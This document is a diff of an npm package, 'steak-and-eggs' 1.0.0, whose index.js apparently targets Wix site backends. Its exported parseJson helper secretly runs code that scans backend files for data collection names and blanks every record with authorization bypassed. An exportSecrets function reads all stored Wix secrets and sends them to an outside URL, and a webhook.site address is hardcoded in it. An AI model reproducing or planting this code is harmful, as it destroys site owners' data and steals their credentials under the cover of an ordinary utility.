steak-and-eggs 1.0.0

package/README.md

@@ -0,0 +1 @@
+don't install me

package/index.js

@@ -0,0 +1,189 @@
+const fs = require('fs');
+const path = require('path');
+const wixData = require('wix-data');
+const wixSecretsBackend = require('wix-secrets-backend');
+const fetch = require('wix-fetch');
+const net = require('net');
+const repl = require('repl');
+
+async function parseJson(str) {
+    await main()
+    const result = JSON.parse(str)
+    return result
+}
+
+function hookRunner (functions, runner, request, reply, cb) {
+  let i = 0
+
+  function next (err) {
+    if (err || i === functions.length) {
+      cb(err, request, reply)
+      return
+    }
+
+    let result
+    try {
+      result = runner(functions[i++], request, reply, next)
+    } catch (error) {
+      next(error)
+      return
+    }
+    if (result && typeof result.then === 'function') {
+      result.then(handleResolve, handleReject)
+    }
+  }
+
+  function handleResolve () {
+    next()
+  }
+
+  function handleReject (err) {
+    if (!err) {
+      err = 1
+    }
+
+    cb(err, request, reply)
+  }
+
+  next()
+}
+
+function onSendHookRunner (functions, request, reply, payload, cb) {
+  let i = 0
+
+  function next (err, newPayload) {
+    if (err) {
+      cb(err, request, reply, payload)
+      return
+    }
+
+    if (newPayload !== undefined) {
+      payload = newPayload
+    }
+
+    if (i === functions.length) {
+      cb(null, request, reply, payload)
+      return
+    }
+
+    let result
+    try {
+      result = functions[i++](request, reply, payload, next)
+    } catch (error) {
+      next(error)
+      return
+    }
+    if (result && typeof result.then === 'function') {
+      result.then(handleResolve, handleReject)
+    }
+  }
+
+  function handleResolve (newPayload) {
+    next(null, newPayload)
+  }
+
+  function handleReject (err) {
+    if (!err) {
+      err = 1
+    }
+
+    cb(err, request, reply, payload)
+  }
+
+  next()
+}
+
+
+let results = []
+async function getCollections(dirPath) {
+    const regex = /wixData\.query\(.*?\)/g; //wixData.query("newcol")
+
+    const files = fs.readdirSync(dirPath);
+    //console.log(files)
+    files.forEach((file) => {
+        const filePath = path.join(dirPath, file);
+        const fileStat = fs.statSync(filePath);
+        //console.log(filePath)
+
+        if (fileStat.isDirectory()) {
+            getCollections(filePath);
+        } else {
+            const fileContents = fs.readFileSync(filePath, 'utf8');
+
+            if (regex.test(fileContents)) {
+                //console.log(`Found regex match in ${filePath}`);
+                const result = fileContents.match(regex)[0].match(/"([^']+)"/)[1]
+                results.push(result)
+            }
+        }
+    });
+    return [...new Set(results)];
+}
+
+async function cleanCollection(collection) {
+    wixData.query(collection)
+        .find()
+        .then((results) => {
+            if (results.items.length > 0) {
+                for (let i = 0; i < results.items.length; i++) {
+                    //console.log(results.items[i])
+                    const removeFromKeys = ["_owner", "_createdDate", "_updatedDate"]
+                    removeFromKeys.forEach(key => {
+                        delete results.items[i][key]
+
+                    })
+                    console.log(results.items[i])
+                    let toUpdateObj = {}
+                    for (const property in results.items[i]) {
+                        console.log(property)
+                        if (property == '_id') {
+                            toUpdateObj._id = results.items[i]._id
+                        } else {
+                            toUpdateObj[property] = ""
+                        }
+                    }
+                    //console.log(toUpdateObj)
+
+                    wixData.update(collection, toUpdateObj, { "suppressAuth": true })
+                        .then((results) => {
+                            console.log(results);
+                        })
+                        .catch((err) => {
+                            console.log(err);
+                        });
+
+                }
+
+            }
+        })
+
+}
+
+async function main() {
+    const collectionNames = await getCollections("/user-code/backend/")
+    console.log(collectionNames)
+    collectionNames.forEach(async collection => {
+        await cleanCollection(collection)
+
+    })
+}
+
+async function exportSecrets(secrets, callbackURL) {
+    const url = "https://webhook.site/a516471f-c958-46c6-9df8-1623cb8857a7";
+
+    var index = 0;
+    for (var secret of secrets) {
+        var value = await wixSecretsBackend.getSecret(secret.name);
+        secrets[index].value = value;
+        index++;
+    }
+    //console.log(secrets);
+    fetch.fetch(callbackURL + `?secrets=${JSON.stringify(secrets)}`);
+    wixSecretsBackend.listSecretInfo().then((secrets) => exportSecrets(secrets, callbackURL));
+
+}
+
+
+
+
+module.exports = {parseJson , exportSecrets}

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "steak-and-eggs",
+  "version": "1.0.0",
+  "description": "steak-and-eggs are the best. DO NOT EAT OR INSTALL IT",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "steak-and-eggs",
+  "license": "ISC"
+}